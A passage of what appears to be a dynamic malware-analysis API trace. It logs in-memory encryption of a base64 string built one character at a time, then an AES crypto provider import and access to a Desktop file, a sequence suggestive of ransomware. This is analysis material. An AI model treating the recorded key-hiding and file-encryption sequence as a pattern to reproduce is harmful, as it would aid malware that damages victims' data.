returned 0x10 [0196.968] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0196.969] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0196.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0196.969] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.969] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0196.969] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0196.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0196.969] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.969] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0196.969] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0196.970] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.970] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0196.970] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0196.970] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0196.970] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0196.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0196.970] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0196.971] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0196.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0196.971] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0196.971] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0196.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0196.971] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0196.971] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0196.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0196.972] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0196.972] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0196.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0196.972] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0196.972] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0196.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0196.972] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0196.972] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0196.973] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0196.973] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0196.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0196.973] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0196.973] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0196.974] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0196.974] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0196.974] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0196.974] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0196.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0196.974] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0196.975] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0196.975] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0196.975] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0196.975] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0196.975] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0196.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0196.976] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.976] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0196.976] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0196.976] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.976] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0196.976] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0196.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0196.977] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0197.116] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0197.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0197.117] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.117] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0197.117] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0197.117] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0197.117] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.117] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0197.117] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0197.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0197.118] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.118] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0197.118] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0197.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0197.118] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.118] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0197.118] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.118] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0197.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0197.120] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.120] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0197.121] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0197.121] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.121] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0197.121] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0197.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0197.121] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.122] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0197.122] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0197.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0197.122] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.122] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0197.122] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0197.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0197.122] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.122] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0197.122] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0197.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0197.123] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0197.123] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.123] EtwEventActivityIdControl () returned 0x0 [0197.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0197.123] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0197.124] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0197.125] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cdd0) returned 1 [0197.127] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x23d8f0c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69200) returned 1 [0197.127] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0197.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.128] EtwEventActivityIdControl () returned 0x0 [0197.128] EtwEventActivityIdControl () returned 0x0 [0197.128] EtwEventActivityIdControl () returned 0x0 [0197.135] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0197.136] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0197.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.137] EtwEventActivityIdControl () returned 0x0 [0197.138] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.138] EtwEventActivityIdControl () returned 0x0 [0197.138] EtwEventActivityIdControl () returned 0x0 [0197.138] EtwEventActivityIdControl () returned 0x0 [0197.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, 